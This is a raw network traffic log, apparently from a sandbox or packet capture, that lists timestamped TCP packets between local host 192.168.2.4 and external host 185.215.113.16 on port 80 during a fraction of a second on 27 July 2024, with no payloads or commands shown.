Jul 27, 2024 05:39:24.781064034 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781116009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781124115 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781147957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781181097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781181097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781198978 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781212091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781244993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781259060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781259060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781276941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781306028 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781310081 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781322956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781359911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781408072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781408072 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781408072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781436920 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781480074 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781486034 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781519890 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781550884 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781583071 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781590939 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781608105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781608105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781608105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781615019 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781637907 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781649113 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781682014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781702042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781702042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781733036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781760931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781766891 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781809092 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781856060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781856060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781857967 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781888962 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781913996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781923056 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781955004 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781968117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781968117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782161951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782167912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.782207012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.782241106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.782253981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782253981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782273054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.782308102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.782319069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782319069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782339096 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.782371044 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.782385111 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782385111 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.782680988 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.804531097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.804563046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.804594994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.804609060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.804610014 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.804626942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.804658890 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.804672956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.804672956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.804691076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.804724932 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.804738998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.804738998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.804848909 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833450079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833517075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833549976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833579063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833583117 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833610058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833610058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833620071 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833636999 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833652973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833679914 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833688021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833722115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833735943 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833735943 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833754063 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833775043 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833786011 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833818913 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833820105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833852053 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833853006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833869934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833887100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833929062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.833940983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833940983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.833987951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836189985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836241961 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836268902 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836275101 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836323977 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836328983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836328983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836360931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836393118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836410999 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836410999 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836441994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836464882 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836474895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836524963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836524963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836548090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836580038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836611986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836627960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836627960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836643934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836675882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836694956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836694956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836709023 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836755991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836755991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836757898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836791039 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836822987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836843967 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836843967 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836854935 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836888075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836900949 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836900949 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836920023 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836946964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836951971 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.836991072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.836990118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.837008953 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.837023973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.837055922 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.837078094 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.837078094 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.837089062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.837120056 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.837141991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.837141991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.837157965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.837184906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.837223053 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.837239981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872451067 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872545004 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872584105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872633934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872664928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872667074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872664928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872664928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872699022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872703075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872736931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872759104 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872759104 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872769117 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872802019 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872833014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872853041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872853041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872865915 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872898102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872915983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872915983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872930050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872961044 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.872970104 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872970104 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.872993946 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873009920 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873027086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873059034 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873064041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873092890 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873117924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873117924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873126030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873157024 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873164892 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873181105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873188972 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873224020 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873231888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873231888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873255968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873287916 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873306990 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873306990 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873321056 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873369932 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873369932 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873372078 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873405933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873437881 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873456955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873456955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873486996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873519897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873542070 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873542070 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873552084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873590946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873590946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873600006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873634100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873665094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873682022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873682022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873718977 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873748064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873768091 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873768091 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873779058 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873812914 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873828888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873828888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873846054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873878956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873894930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873894930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873910904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873944998 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.873960972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873960972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.873977900 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874011993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874015093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874030113 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874044895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874098063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874098063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874178886 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874228001 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874258995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874269962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874269962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874291897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874325037 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874341011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874341011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874356031 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874399900 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874399900 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874407053 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874442101 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874475002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874516964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874516964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874521971 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874556065 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874586105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874617100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874635935 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874635935 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874649048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874681950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874700069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874700069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874713898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874747038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874771118 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874771118 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874780893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874813080 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.874830008 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.874830008 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.875128984 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.897389889 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.897475958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.897511959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.897546053 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.897577047 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.897598028 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.897598028 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.897610903 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.897646904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.897658110 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.897659063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.899451017 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926351070 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926609039 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926659107 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926676035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926676035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926692963 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926727057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926743031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926743984 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926798105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926803112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926831961 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926872969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926872969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926882982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926917076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926949978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.926965952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926965952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.926981926 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.927016020 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.927047014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.927067041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.927067041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.927081108 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.927120924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.927339077 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929517031 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929565907 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929600000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929615974 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929615974 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929631948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929663897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929682016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929682016 CEST	49489	80	192.168.2.4	185.215.113.16
